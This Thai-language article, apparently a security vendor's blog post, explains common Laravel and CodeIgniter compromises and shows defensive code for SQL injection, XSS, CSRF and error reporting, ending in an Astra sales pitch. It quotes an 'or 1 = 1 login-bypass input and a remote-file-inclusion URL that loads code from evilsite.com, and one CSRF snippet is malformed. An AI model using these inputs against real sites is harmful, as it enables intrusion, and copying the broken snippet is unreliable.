Laravel และ CodeIgniter เป็นเฟรมเวิร์ก PHP ยอดนิยมที่ใช้สร้างเว็บไซต์ ความนิยมของพวกเขายังมาจากลักษณะโอเพนซอร์สของทั้งสองเฟรมเวิร์ก อย่างไรก็ตาม ผู้ใช้ต้องเข้าใจว่าการปรับใช้เว็บไซต์ด้วยเฟรมเวิร์กเหล่านี้ไม่ได้ทำให้เว็บไซต์ปลอดภัยโดยอัตโนมัติ เพราะสิ่งที่สำคัญคือแนวทางปฏิบัติการพัฒนาที่ปลอดภัย การโจมตี SQL Injection ใน CodeIgniter และ SQL Injection ใน Laravel เป็นหัวข้อความปลอดภัยที่พบบ่อยที่สุดในฟอรั่มช่วยเหลือ นอกเหนือจาก SQLi แนวทางพัฒนาที่ไม่ปลอดภัยยังทำให้เว็บไซต์เปราะบางต่อ XSS, CSRF, การโจมตี RFI และอื่นๆ อีกมากมาย
ตัวอย่างเว็บไซต์ CodeIgniter และ Laravel ถูกแฮก
การโจมตีอย่าง SQL Injection ใน CodeIgniter หรือ Laravel อาจทำให้เว็บไซต์ถูกเจาะ การโจมตีเหล่านี้ค่อนข้างพบได้บ่อยและแพร่หลาย ดังนั้นจึงพบผู้ใช้จำนวนมากที่ประสบการโจมตีคล้ายกันขอความช่วยเหลือบนฟอรั่มชุมชน Laravel หรือฟอรั่มชุมชน CodeIgniter ตัวอย่างบางส่วนแสดงด้านล่างนี้
อาการของการถูกแฮก CodeIgniter หรือ Laravel
- หน้าฟิชชิง Laravel หรือ CodeIgniter ที่ออกแบบมาเพื่อขโมยข้อมูลละเอียดอ่อนปรากฏบนเว็บไซต์
- ผู้ใช้ร้องเรียนว่าถูกเปลี่ยนเส้นทางไปยังเว็บไซต์อันตราย
- เนื้อหาไร้ความหมายปรากฏบนเว็บไซต์ Laravel หรือ CodeIgniter เนื่องจากการแฮกคีย์เวิร์ดญี่ปุ่นหรือแฮกยา (Pharma hack) ฯลฯ
- เว็บไซต์ Laravel หรือ CodeIgniter ทำงานช้ามากและแสดงข้อความผิดพลาด
- เมื่อใช้โฮสติ้งของบุคคลที่สาม ปรากฏข้อความ "บัญชีของคุณถูกระงับ!"
- เว็บไซต์ Laravel หรือ CodeIgniter ถูกบล็อกโดยเครื่องมือค้นหา
- บันทึกข้อผิดพลาดแสดงการโจมตีบางประเภท เช่น SQL Injection ใน CodeIgniter บนเว็บไซต์
- บันทึกแสดงการเข้าถึงเว็บไซต์จากที่อยู่ IP ระยะไกล
- มีผู้ดูแลระบบใหม่ที่ไม่ได้รับอนุญาตปรากฏในฐานข้อมูลล็อกอิน
สาเหตุหลักของการถูกแฮก CodeIgniter หรือ Laravel
1) การแฮก CodeIgniter หรือ Laravel: การโจมตีแบบฉีดโค้ด (Injection Attacks)
a) SQL Injection ใน CodeIgniter หรือ Laravel
SQL Injection ใน CodeIgniter เป็นการโจมตีที่พบบ่อยมากและแพร่หลายบนอินเทอร์เน็ต ตามชื่อแล้ว การโจมตีนี้มีเป้าหมายที่ฐานข้อมูลของเซิร์ฟเวอร์ ด้วยการใช้ช่องโหว่ SQL Injection ใน CodeIgniter ผู้โจมตีสามารถ:
- ดึงข้อมูลจากฐานข้อมูล
- แก้ไขเนื้อหาฐานข้อมูล (รวมถึงลบฐานข้อมูลทั้งหมด!)
- ในบางกรณี ได้รับ reverse shell
- ข้ามการตรวจสอบสิทธิ์โดยใช้การป้อนข้อมูล เช่น 'or 1 = 1
b) การฉีดโค้ด PHP ใน CodeIgniter / Laravel
การฉีดโค้ด PHP เป็นช่องโหว่ทั่วไปอีกประเภทหนึ่งที่อนุญาตให้ผู้โจมตีรันโค้ดบนเว็บไซต์ Laravel / CodeIgniter แต่มันแตกต่างจากการฉีดคำสั่ง (command injection) ที่ผู้โจมตีสามารถรันคำสั่งผ่าน reverse shell ได้ ตัวอย่างเช่น พารามิเตอร์ที่เปราะบางอาจถูกส่งลิงก์ไปยังไฟล์อันตรายที่มีโค้ด PHP เพื่อรัน เช่น https://testsite.com/?page=https://evilsite.com/evilcode.php
ไฟล์นี้อาจมีฟังก์ชันอย่าง phpinfo() ซึ่งสามารถใช้ดึงข้อมูลได้
2) การแฮก CodeIgniter หรือ Laravel: Cross-Site Scripting (XSS) ใน CodeIgniter / Laravel
ช่องโหว่ XSS เกิดขึ้นในเว็บไซต์ Laravel / CodeIgniter เนื่องจากขาดการทำความสะอาดข้อมูลนำเข้า (input sanitization) ทั้งสองเฟรมเวิร์กมีฟังก์ชันความปลอดภัยที่ออกแบบมาเพื่อป้องกันการโจมตีเหล่านี้ การใช้ช่องโหว่ XSS ผู้โจมตีสามารถ:
- ฟิชชิงผู้ใช้เพื่อขโมยคุกกี้และข้อมูลเซสชันที่ละเอียดอ่อน
- เปลี่ยนเส้นทางผู้ใช้ไปยังเว็บไซต์อันตราย
- ใช้เพื่อข้ามนโยบาย same-origin policy
3) การแฮก Laravel หรือ CodeIgniter: Cross-Site Request Forgery (CSRF) ใน CodeIgniter / Laravel
การโจมตีนี้มีจุดประสงค์เพื่อหลอกล่อให้ผู้ใช้ทำการกระทำที่ไม่พึงประสงค์ อย่างไรก็ตาม ประเภทการโจมตีนี้สามารถใช้เพื่อจัดการข้อมูลได้เท่านั้น (เช่น ลบฟอร์ม) ไม่ใช่การขโมยหรืออ่านข้อมูล ในกรณีร้ายที่สุด หากเหยื่อเป็นผู้ดูแลระบบ แอปพลิเคชันทั้งหมดอาจถูกทำลาย การโจมตีนี้ใช้กลยุทธ์วิศวกรรมสังคมเพื่อหลอกเหยื่อให้คลิกลิงก์ที่รันคำสั่งอย่างการลบบัญชีในพื้นหลัง
เว็บไซต์ CodeIgniter หรือ Laravel ถูกแฮก? ส่งข้อความมาที่วิดเจ็ตแชทเราจะช่วยแก้ไขปัญหานี้ให้คุณ แก้ไขเว็บไซต์ Laravel / CodeIgniter ที่ถูกแฮกของฉัน
4) ปกป้องเว็บไซต์ CodeIgniter / Laravel ของคุณ
การแฮก CodeIgniter หรือ Laravel: ป้องกัน SQL Injection ใน CodeIgniter
CodeIgniter มาพร้อมกับคุณสมบัติความปลอดภัยมากมาย บางอย่างรวมถึงฟังก์ชันและไลบรารีสำหรับป้องกัน SQL Injection ใน CodeIgniter ในบทความนี้จะอธิบาย 3 วิธีหลักในการทำให้สำเร็จทีละขั้นตอน
การแฮก CodeIgniter หรือ Laravel: การ escape คิวรีใน CodeIgniter
การ escape ข้อมูลก่อนส่งเข้าสู่แอปพลิเคชัน PHP จะทำให้ข้อมูลปลอดภัย ดังนั้นจึงเป็นแนวทางปฏิบัติที่ปลอดภัยและควรปฏิบัติอย่างสม่ำเสมอ แม้การ escape คิวรีก็สามารถทำได้ 3 วิธี:
- $this->db->escape(): กำหนดประเภทข้อมูลก่อน escape
- $this->db->escape_str(): ไม่กำหนดประเภทข้อมูล แค่ escape อย่างเดียว
- $this->db->escape_like_str(): ใช้ร่วมกับเงื่อนไขได้
เพื่อความชัดเจน โปรดดูโค้ดตัวอย่างด้านล่าง
<?php
$email = $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name ='. $this->db->escape($email);
$this->db->query($query);
?>
ในโค้ดนี้ ฟังก์ชัน $this->db->escape() จะกำหนดประเภทข้อมูลก่อนเพื่อ escape เฉพาะข้อมูลสตริง นอกจากนี้ยังเพิ่มเครื่องหมายควอตเดี่ยวรอบข้อมูลนำเข้าอัตโนมัติ ซึ่งป้องกัน SQL Injection ใน CodeIgniter
การแฮก CodeIgniter หรือ Laravel: คิวรีแบบผูกตัวแปร (Binding Queries) ใน CodeIgniter
คิวรีแบบผูกตัวแปรสามารถลดความซับซ้อนของโค้ดได้นอกจากทำความสะอาดอินพุตของเว็บไซต์ CodeIgniter วิธีนี้ช่วยให้ระบบจัดการคิวรี ลดความซับซ้อนสำหรับนักพัฒนา ตัวอย่างโค้ดด้านล่าง
<?php $sql = "SELECT * FROM subscribers_tbl WHERE status =? AND email =?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>
ที่นี่คุณจะเห็นเครื่องหมายคำถามในบรรทัดแรกแทนค่า เนื่องจากการผูกคิวรี เครื่องหมายคำถามเหล่านี้จะถูกแทนที่ด้วยค่าจากอาร์เรย์ในบรรทัดที่สอง ในตัวอย่างก่อนหน้าเราเห็นการ escape คิวรีด้วยตนเอง แต่ที่นี่วิธีนี้ทำได้อัตโนมัติ ทำให้หยุด SQL Injection ใน CodeIgniter ได้
การแฮก CodeIgniter หรือ Laravel: Active Record ใน CodeIgniter
ฟีเจอร์ Active Record ของ CodeIgniter ช่วยให้เราทำการดำเนินการกับฐานข้อมูลได้ด้วยโค้ดหรือสคริปต์น้อยที่สุด เนื่องจากเป็นฟังก์ชันของระบบ เอง การ escape คิวรีจึงทำงานอัตโนมัติ ตัวอย่างเช่น ดึงข้อมูลทั้งหมดของตารางได้ด้วยคิวรีง่ายๆ:
$query = $this->db->get('mytable');
การแฮก CodeIgniter หรือ Laravel: ป้องกัน SQL Injection ใน Laravel
Eloquent ORM ของ Laravel ใช้การผูกข้อมูลวัตถุ PHP เพื่อทำความสะอาดอินพุตของผู้ใช้ ซึ่งป้องกัน SQL Injection ของ Laravel การผูกพารามิเตอร์ยังเพิ่มเครื่องหมายควอตอัตโนมัติ ป้องกันการป้อนข้อมูลอันตรายอย่าง 'or 1 = 1 จากการข้ามการตรวจสอบสิทธิ์
$results = DB::select('select * from users where id =:id', ['id' => 1]);
นี่คือตัวอย่างการใช้งานคิวรีผูกชื่อ (named binding query) ใน Laravel
การแฮก CodeIgniter หรือ Laravel: ป้องกัน Cross-Site Scripting ใน CodeIgniter
เพื่อป้องกันการโจมตี XSS ที่อาจเกิดขึ้น CodeIgniter มาพร้อมกับฟิลเตอร์ XSS สำเร็จรูป หากฟิลเตอร์นี้พบคำขออันตราย จะแปลงเป็นเอนทิตีอักขระ ทำให้แอปพลิเคชันปลอดภัย ฟิลเตอร์นี้เข้าถึงได้ผ่านเมธอด xss_clean():
$data = $this->security->xss_clean($data);
อย่างไรก็ตาม ผู้โจมตีบางครั้งฉีดโค้ดอันตรายเข้าไปในไฟล์รูปภาพ เพื่อป้องกันการโจมตีแบบนี้ การตรวจสอบความปลอดภัยของไฟล์อัปโหลดก็สามารถทำได้ ตัวอย่างโค้ดด้านล่าง
if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// ไฟล์ไม่ผ่านการทดสอบ XSS
}
โค้ดนี้จะคืนค่า boolean True หากรูปภาพปลอดภัย และในทางกลับกัน อย่างไรก็ตาม ควรทราบว่าการใช้เมธอด html_escape() แนะนำหากคุณต้องการกรองค่าแอตทริบิวต์ HTML
การแฮก CodeIgniter หรือ Laravel: ป้องกัน Cross-Site Scripting ใน Laravel
ด้วยการ escape สตริง การโจมตี XSS สามารถป้องกันได้บนเว็บไซต์ Laravel การ escape สตริงจะป้องกันการนำอินพุตที่ไม่ได้รับอนุญาตไปใช้ อย่างไรก็ตาม สำหรับ Laravel เวอร์ชัน > 5.1 ฟีเจอร์นี้เปิดใช้งานโดยค่าเริ่มต้น ดังนั้นเมื่อมีอินพุตอย่าง <div> {{$task->names}} </div> ถูกส่งให้ Laravel เวอร์ชันสูงกว่า 5.1 แอปพลิเคชันจะไม่เปราะบางเนื่องจาก escape คิวรีอัตโนมัติ นอกจากนี้ การจำกัดความยาวอินพุตที่ผู้ใช้ให้มาสามารถป้องกันบางประเภทของการโจมตี XSS และ SQLi ได้ สามารถทำได้ผ่านโค้ด HTML ด้านล่าง
<input type="text" name="task" maxlength="10">
สิ่งเดียวกันสามารถทำได้ผ่านฟังก์ชัน JS อีกด้วย นอกจากนี้ ไวยากรณ์ {% raw %} {{}} {% endraw %} ใน Laravel สามารถ escape เอนทิตี HTML อันตรายทั้งหมดที่ส่งมาได้โดยค่าเริ่มต้น นอกจากนี้ยังมีไลบรารีบางตัวที่ออกแบบมาเฉพาะสำหรับงานนี้และสามารถใช้เพื่อป้องกัน Laravel XSS หากคุณใช้เครื่องมือเทมเพลตอย่าง Blade มันจะใช้ escape อัตโนมัติเพื่อป้องกันการโจมตีเหล่านี้
การแฮก CodeIgniter หรือ Laravel: ป้องกันการโจมตี CSRF ใน CodeIgniter
การป้องกัน CSRF สามารถเปิดใช้งานใน CodeIgniter ได้โดยแก้ไขไฟล์ application/config/config.php เพียงเพิ่มโค้ดต่อไปนี้ลงในไฟล์:
$config['csrf_protection'] = TRUE;
สำหรับผู้ใช้ที่ใช้ Form Helper ฟังก์ชัน form_open() จะแทรกฟิลด์โทเค็น CSRF แบบซ่อนลงในฟอร์มโดยค่าเริ่มต้น อีกวิธีหนึ่งในการใช้งานการป้องกัน CSRF คือการใช้ get_csrf_token_name() และ get_csrf_hash() สำหรับอ้างอิง โปรดดูสองโค้ดสนิปเพ็ตด้านล่างของฟอร์มและการใช้งานฝั่งเซิร์ฟเวอร์
$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash()
);
————————————————– ——————
<input type="hidden" name=" = $csrf['name'];?>" value=" = $csrf['hash'];?>" />
การสร้างโทเค็นใหม่ (token regeneration) เป็นแนวทางปฏิบัติที่ปลอดภาอีกอย่างหนึ่งสำหรับการป้องกันการโจมตี CSRF ของ CodeIgniter อย่างไรก็ตาม การสร้างโทเค็นใหม่อาจก่อให้เกิดปัญหา เพราะผู้ใช้อาจต้องยืนยันตัวตนใหม่หลังจากไปที่แท็บอื่น การสร้างโทเค็นใหม่สามารถทำได้ผ่านการตั้งค่าคอนฟิกต่อไปนี้:
$config['csrf_regenerate'] = TRUE;
การแฮก CodeIgniter หรือ Laravel: ป้องกันการโจมตี CSRF ใน Laravel
โทเค็นถูกใช้ในฟอร์ม Laravel เพื่อป้องกันการโจมตี CSRF โทเค็นเหล่านี้จะถูกเรียกผ่านการเรียก AJAX ที่มีอยู่ในทุกฟอร์ม ข้อมูลโทเค็นคำขอจะถูกจับคู่กับข้อมูลที่จัดเก็บบนเซิร์ฟเวอร์สำหรับเซสชันของผู้ใช้เพื่อตรวจสอบความผิดปกติ โทเค็น CSRF สามารถส่งไปยังฟอร์มได้โดยใช้โค้ดต่อไปนี้ (การใช้งาน Blade templates):
<form name="CSRF Implementation">
{!! csrf_field() !!}
<! – Input อื่นๆ อาจมาได้ที่นี่ ->
</form>
อย่างไรก็ตาม โทเค็น CSRF อาจถูกเพิ่มโดยค่าเริ่มต้นเมื่อใช้แพ็กเกจ LaravelCollective/HTML
การแฮก CodeIgniter หรือ Laravel: บล็อกการรายงานข้อผิดพลาด
ข้อผิดพลาดของไฟล์มีประโยชน์ในสภาพแวดล้อมการพัฒนา อย่างไรก็ตามบนเว็บ ข้อผิดพลาดไฟล์ของ CodeIgniter อาจรั่วไหลข้อมูลที่ละเอียดอ่อนไปยังผู้โจมตี ดังนั้นจึงแนะนำให้ปิดการรายงานข้อผิดพลาด
ข้อผิดพลาด PHP
เพื่อปิดการรายงานข้อผิดพลาด PHP ให้ใช้ไฟล์ index.php เพียงส่งศูนย์เป็นอาร์กิวเมนต์ให้ฟังก์ชัน error_reporting() ดูตัวอย่างด้านล่างเพื่ออ้างอิง
error_reporting(0);
อย่างไรก็ตาม สำหรับ CodeIgniter เวอร์ชัน 2.0.1 ขึ้นไป ค่าคงที่สภาพแวดล้อมในไฟล์ index.php สามารถตั้งค่าเป็น "production" เพื่อปิดการแสดงผลข้อผิดพลาด PHP
ข้อผิดพลาดฐานข้อมูล
ข้อผิดพลาดฐานข้อมูลสามารถปิดได้โดยแก้ไขไฟล์ application/config/database.php เพียงตั้งค่าตัวเลือก db_debug เป็น FALSE ดูตัวอย่างด้านล่าง
$db['default']['db_debug'] = FALSE;
การบันทึกข้อผิดพลาด (Error Logging)
วิธีที่ฉลาดกว่าคือการส่งข้อผิดพลาดที่เกิดขึ้นไปยังไฟล์ log ซึ่งจะป้องกันไม่ให้มันแสดงออกมา ตัวเลือก log_threshold ในไฟล์ /config/config.php สามารถตั้งค่าเป็น 1 เพื่อวัตถุประสงค์นี้ ดูตัวอย่างด้านล่าง
$config['log_threshold'] = 1;
ใช้ Web Application Firewall สำหรับ Laravel หรือ CodeIgniter
แม้ผู้เชี่ยวชาญก็อาจพลาดบางการตั้งค่าที่อาจทำให้เว็บไซต์ Laravel / CodeIgniter เปราะบาง นอกจากนี้ ผู้โจมตีกำลังค้นหาวิธีใหม่ๆ เพื่อเจาะเว็บไซต์ของคุณตลอดเวลา ดังนั้น แนวทางปฏิบัติที่ปลอดภาอีกอย่างคือการใช้ไฟร์วอลล์หรือโซลูชันความปลอดภัยใดๆ Astra เป็นโซลูชันความปลอดภัยอย่างหนึ่งที่ออกแบบมาเพื่อตอบสนองความต้องการที่ยืดหยุ่นของคุณ จ่ายเฉพาะสิ่งที่คุณใช้ Astra เป็นโซลูชันความปลอดภัยที่พร้อมใช้งานทันที ราคาเริ่มต้นที่ $9 ต่อเดือน ส่งข้อความให้เราและเข้าสู่การรักษาความปลอดภัยโค้ด PHP ของคุณ รับ демо ตอนนี้!
Astra มอบการตรวจสอบความปลอดภัยครบวงจรสำหรับเว็บไซต์ Laravel หรือ CodeIgniter ของคุณด้วยการทดสอบที่ใช้งานจริงมากกว่า 80 รายการ ผสมผสานระหว่างการทดสอบด้วยมือและอัตโนมัติอย่างดี